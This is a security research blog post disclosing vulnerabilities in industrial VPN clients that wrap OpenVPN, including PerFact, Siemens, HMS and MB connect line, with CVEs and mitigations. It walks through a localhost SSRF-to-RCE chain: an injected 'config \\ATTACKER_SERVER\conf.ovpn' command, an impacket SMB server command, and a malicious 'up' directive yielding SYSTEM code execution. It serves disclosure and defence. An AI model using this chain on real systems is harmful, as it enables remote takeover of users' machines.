By Sharon Brizinov | Nov. 19, 2021

Executive Summary

  • Team82 took an extensive look at VPN vendor applications that have OpenVPN running under the hood.
  • Claroty’s researchers discovered a new attack concept to target VPNs.
  • Team82’s research uncovered four vulnerabilities in popular industrial VPN solutions from vendors HMS Industrial Networks, Siemens, PerFact, and MB connect line.
  • The vulnerabilities expose users to remote and arbitrary code execution attacks, and also enable attackers to elevate privileges.
  • All four vendors have either provided a fix in an updated version of their respective products, or suggested mitigations.

Introduction

A virtual private network (VPN) is an encrypted connection over the Internet from a device to a network that secures the transmission of sensitive data. Unauthorized people cannot eavesdrop on the traffic, and—relevant to today’s climate—a VPN allows the user to remain at home and securely conduct business remotely. When you set up a VPN connection, also known as a tunnel, part or all of your internet traffic goes through this tunnel as an encapsulated packet from your endpoint to the VPN server, which can be located at your workplace or elsewhere. Those encapsulated packets are then re-routed at the end of the tunnel.

The most common implementation for a VPN solution is OpenVPN, which implements techniques to create secure point-to-point or site-to-site connections in routed or bridged configurations and remote access facilities. It implements client and server applications.

OpenVPN was written by James Yonan and is free software, available under the terms of the GNU General Public License version 2 (GPLv2). As a result, many different systems support OpenVPN. For example, DD-WRT, a Linux-based firmware used in wireless routers, includes a server for OpenVPN. Due to its popularity, ease of use, and features, many companies have chosen OpenVPN as part of their solution. It’s a feasible option for organizations that want to create a secure tunnel with a couple of new features. Rather than reinventing the wheel, the company will most likely use OpenVPN as its foundation.

In the past year, due to the increased popularity and growing remote workforce, Claroty Team82 was busy researching VPN/remote-access solutions. The majority of them included OpenVPN as part of the secure remote access solution while the vendor application is a wrapper that manages the OpenVPN instance. After inspecting a couple of such products, we identified a key problem with the way these types of products harness OpenVPN—a problem that, in most cases, can lead to a remote code execution just by luring a victim to a malicious website.

OpenVPN Management Interface

The OpenVPN website describes the Management Interface as follows:

“The OpenVPN Management interface allows OpenVPN to be administratively controlled from an external program via a TCP or Unix domain socket. The interface has been specifically designed for developers who would like to programmatically or remotely control an OpenVPN daemon, and can be used when OpenVPN is running as a client or server.”

In other words, a remote or local program can completely control an OpenVPN instance to open a secured tunnel or terminate an existing one. This is how vendors are integrating with OpenVPN and controlling it behind the scenes. To start OpenVPN with a management interface, the –management directive must be used as an argument.

Since OpenVPN requires high privileges, vendors will install OpenVPN as a service that runs as SYSTEM, and use the Management Interface to start a new session. This procedure ensures that even applications that don’t require privileges could initiate a VPN connection without elevated permissions required. This is a potential risk that could allow privilege escalation and attacks that introduce significant risk to a business.

The OpenVPN Management Interface is simple and consist of the following commands, among many others:

  • bytecount
  • exit, quit
  • help
  • hold
  • kill
  • log
  • mute
  • net
  • pid
  • password and username
  • forget-passwords
  • signal
  • state
  • status
  • username
  • verb
  • version
  • auth-retry

Here is an example of a session as it was captured locally with Wireshark. We can clearly see the cleartext commands transferred between the vendor’s product application and the OpenVPN instance.

Wireshark TCP session of an OpenVPN Management Interface.

Below is an example of a session as it was captured locally with Wireshark. We can clearly see the cleartext commands transferred between the vendor’s product application and the OpenVPN instance.

 

Classic SSRF

Many of the VPN client products we researched were used as a wrapper for an OpenVPN service that controls all aspects of the VPN connection. The client-server architecture usually consists of three parts:

 

Generic VPN client-server architecture.

 

  1. Front End: A simple GUI application that can configure the VPN connection settings, including loading the .ovpn configuration file.
  2. Back End: A service that receives commands from the front-end client application and initializes the OpenVPN instance upon receiving the appropriate command from the user. The back end usually runs with SYSTEM privileges, and by default, it listens on localhost only (binds to localhost merely) on a specific port. In order to control the OpenVPN instance, a dedicated socket channel is created through which the back end and the OpenVPN instance can communicate over localhost on a dedicated TCP port.
  3. OpenVPN: A service responsible for the VPN connection. It is controlled by the back end service over a management interface that OpenVPN opens via a dedicated and pre-defined local TCP port.

Generic architecture of a product integrating with OpenVPN.

Usually, the back end is controlled by the front end using a dedicated socket channel. In almost all of the products we tested, the dedicated socket channel consisted of a cleartext protocol with some basic commands such as “Load OpenVPN config” and “Start VPN” with no authentication/authorization checks. The selection of a cleartext-based protocol, similar to telnet, is usually because of its ease of use and quick development cycles. This means that anyone with access to the local TCP port the back end listens on, could potentially load an OpenVPN config and force the back end to spawn a new OpenVPN instance with this configuration.

To exploit this vulnerability, we need to send to our victim a link to a malicious website with an embedded JavaScript payload that will send a blind POST request locally. The payload will be the commands we want to inject in the VPN client back end. Once the victim clicks the link, a HTTP POST request will be fired locally to the dedicated TCP port, and since HTTP is a cleartext based protocol which every line ends with \n, the back end server will read and ignore all the lines until reaching a meaningful command.

This is a classic Server-Side Request Forgery (SSRF), which is a security vulnerability that allows an attacker to force the server-side application to make HTTP requests to an arbitrary domain. In this case, the server-side application is a mix of the browser which sends the first request, and the back end server which activates OpenVPN. In addition, the domain here is actually localhost and the request is not directed to a web service, rather to a local service that manages an OpenVPN instance.

Example of a blind POST request forcing the back end server to load a new OpenVPN instance where a remote configuration file is stored.

Finally, when a valid command is received, the back end server will parse and execute it. For example, a command dedicated to load and start a new OpenVPN instance with a specific configuration file. The configuration file can be located locally, on the same machine that OpenVPN is running, or it can be located remotely. If the configuration file is located on a remote server, we would need to use a UNC path (Windows-based OS) and store the remote configuration file on a remote SMB server. OpenVPN supports UNC paths on Windows and therefore, it will gladly load any remote configuration. What’s more interesting is the OpenVPN configuration file doesn’t have to consist of any particular suffix, so we could name it even “README.txt” as long as the content is a valid OpenVPN configuration.

Inside the attacker-controlled configuration file, the attacker could use one of the OpenVPN script directives such as the up command to execute code; the up configuration command is normally used to execute a shell command or a script to run after the TUN/TAP device is opened successfully (before outbound connection is made). An attacker could use this to execute any command, including malicious ones (installing a backdoor, ransomware, etc).

Using a malicious OpenVPN configuration can lead to code execution.

The attacker does not need to set up a dedicated OpenVPN server of their own because the up OpenVPN directive command is being executed before the connection to the OpenVPN server occurs. This is because the script is supposed to configure routes on the machine after the TCP/UDP socket bind and TUN/TAP device open. According to the OpenVPN manual there are more scripts that can be triggered upon different events:

  • –up: Executed after TCP/UDP socket bind and TUN/TAP open.
  • –tls-verify: Executed when we still have an untrusted remote peer.
  • –ipchange: Executed after connection authentication, or remote IP address change.
  • –client-connect: Executed in –mode server mode immediately after client authentication.
  • –route-up: Executed after connection authentication, either immediately after, or some number of seconds after as defined by the –route-delay option.
  • –route-pre-down: Executed right before the routes are removed.
  • –client-disconnect: Executed in –mode server mode on client instance shutdown.
  • –down: Executed after TCP/UDP and TUN/TAP close.
  • –learn-address: Executed in –mode server mode whenever an IPv4 address/route or MAC address is added to OpenVPN’s internal routing table.
  • –auth-user-pass-verify: Executed in –mode server mode on new client connections, when the client is still untrusted.

However, the prerequisite for a full remote code execution attack is the ability to reach the attackers SMB server via the network to get the .ovpn configuration file. Therefore, the attacker must either be on the domain network with the victim’s machine or the victim machine must be configured to allow SMB access to external servers.

Attacking products using OpenVPN with blind SSRF for a malicious website.

PerFact OpenVPN-Client (CVE-2021-27406)

One of the client VPN applications we researched was the PerFact OpenVPN-Client. The developers of PerFact’s OpenVPN-Client chose TCP port 10700 for front end and back end communications, and TCP port 10600 for back end OpenVPN instance communications.

PerFact’s OpenVPN-Client architecture.

The back-end service is bound to the localhost interface (127.0.0.1), and by default is listening on TCP port 10700. There is no authentication and therefore any client connecting locally to TCP port 10700 can send data to this server. There are four supported commands:

  • Status: The client requests the current status from the server. The server will reply with current status.
  • Config {PATH}: The client sends to the server a path to the .ovpn configuration file. The server will initiate a new OpenVPN instance with this configuration file and connect to the remote VPN network.
  • Close: Changes the state to disconnected.
  • Bye: The client asks the server to disconnect the current OpenVPN connection and notifies the server that it’s about to disconnect

Upon receiving data locally over TCP port 10700, the server will read all the incoming data until a new-line character (\n) is met and the server will treat this chunk as a single command. It will continue to parse all the data, while separating each command by the enter character (\n), until no more data is available.

The textual, chat-like, protocol being used is a very simple protocol with no authentication/authorization mechanisms available. Because of the lack of security, an attacker can leverage this architecture and send the config command from any application running on the localhost machine to force the back end server into initializing a new OpenVPN instance with an arbitrary OpenVPN configuration. And because opening a malicious OpenVPN configuration file can cause code execution in the context of the OpenVPN instance, an attacker can easily achieve code execution with privileges of a SYSTEM user.

Furthermore, we were able to demonstrate how an attacker can leverage this vulnerability into a remote code execution scenario. To achieve that, an attacker needs to prepare a malicious website such that when a user enters this website, a malicious JavaScript payload will send a config request locally to TCP port 10700 to trigger a remote code execution that results in a reverse shell and a complete takeover of the machine by the attacker.

Claroty PerFact OpenVPN-Client exploit, from SSRF to RCE.

From Blind SSRF to RCE

As mentioned before, the back end server receives messages from clients locally via TCP port 10700. Messages are separated by an enter \n character, and the server won’t close a connection if invalid commands are received. This can be leveraged by an attacker as follows:

The attacker will first prepare a SMB server that can be accessed remotely via a UNC path. This can be achieved easily using the Python impacket SMB server to set up the server. This is the command line to create the new SMB server:

python scripts/src/impacket/examples/smbserver.py -smb2support -debug TMP /tmp

Inside, the attacker will place a specifically crafted OpenVPN configuration file. The configuration file must contain the up OpenVPN directive, below. This will cause OpenVPN to execute a command upon a successful TUN/TAP device open.

The command can be any valid shell command with the sole limit of 256 characters. In our PoC, below, we were able to bypass this limitation with multiple OpenVPN setvar configuration vars, and create a full reverse-shell command.

Then, the attacker will prepare a malicious website with a simple JavaScript payload that will send an HTTP POST request to 127.0.0.1:10700 with the following payload (ATTACKER_SERVER is the SMB server instance created by the attacker to serve the configuration):

config \\ATTACKER_SERVER\conf.ovpn

Although the Same-Origin Policy (SOP) mechanism will prevent the attacker from receiving the response, the request will be sent anyway and the back end server will receive the request and act upon it, below.

When the back end server receives the request, it will separate the incoming data by the enter character \n and will try to parse each command separately. Since this is a HTTP request, there will be many headers the server will fail to parse as if they were commands, below.

However, when the server will finally reach the end of the HTTP POST request, it will encounter the POST payload which is a valid command! The server will act upon the config command and will initialize a new OpenVPN instance with the configuration controlled by the remote attacker.

The OpenVPN configuration will contain the UP keyword, which will execute a command in the context of the OpenVPN instance, which means SYSTEM privileges, below.

Hence, just by visiting the attacker’s website, an end-user with PerFact’s OpenVPN-Client application running in the background, can be fully attacked up to a complete takeover of the entire victim’s machine.

Mitigations

Below is mitigation advice to help eliminate the SSRF and the local privilege escalation:

  • Use dynamic parameters:

    Configure all listeners to bind on dynamic ports and dynamic local IP address in the 127.0.0.0/8 range (e.g. 127.1.2.3)

  • Security token and security flags:

    Implement a secret token that the front-end must transfer to the back end in order to execute commands. The security token will be automatically generated with every bootup and will be configured with proper access control lists (ACLs) so local attackers could not use this to start a VPN session. Use secure flags to OpenVPN and especially limit external command execution such as the up command using –script-security level 1.

  • Limit the potential attack surface:

    Refrain from executing OpenVPN with SYSTEM privileges whenever possible.
    When the back end server receives a command it doesn’t understand, for example HTTP method, close the session immediately and don’t try to parse any further.

 

CVE Information

The following CVEs have been issued for several VPN applications used as wrappers for OpenVPN:

CVE-2020-14498

Vendor: HMS Industrial Networks AB
Product: eCatcher
CVSS v3: 9.6
CWE-121 Stack-based buffer overflow
The affected product is vulnerable to a stack-based buffer overflow, which may allow an attacker to remotely execute arbitrary code.
ICS-CERT advisory

CVE-2021-27406

Vendor: PerFact
Product: OpenVPN-Client
CVSS: 8.8
CWE-15 External control of systems or configuration setting
An attacker can take leverage on this architecture and send the config command from any application running on the local host machine to force the back-end server into initializing a new open-VPN instance with arbitrary open-VPN configuration. This could result in the attacker achieving execution with privileges of a SYSTEM user.
ICS-CERT advisory

CVE-2021-31338

Vendor: Siemens
Product: SINEMA RC Client
CVSS: 7.8
CWE-15: External Control of System or Configuration Setting
An attacker can take leverage on this architecture and send the config command from any application running on the local host machine to force the back-end server into initializing a new open-VPN instance with arbitrary open-VPN configuration. This could result in the attacker achieving execution with privileges of a SYSTEM use
Siemens advisory

CVE-2021-33526
CVE-2021-33527

Vendor: MB connect line GmbH
Product: mbConnect Dialup
CVSS: 7.8 and 7.8
Description: Multiple Vulnerabilities in mbConnect24serv (a software service of mbDIALUP) can lead to arbitrary code execution due to improper privilege management.
VDE CERT advisory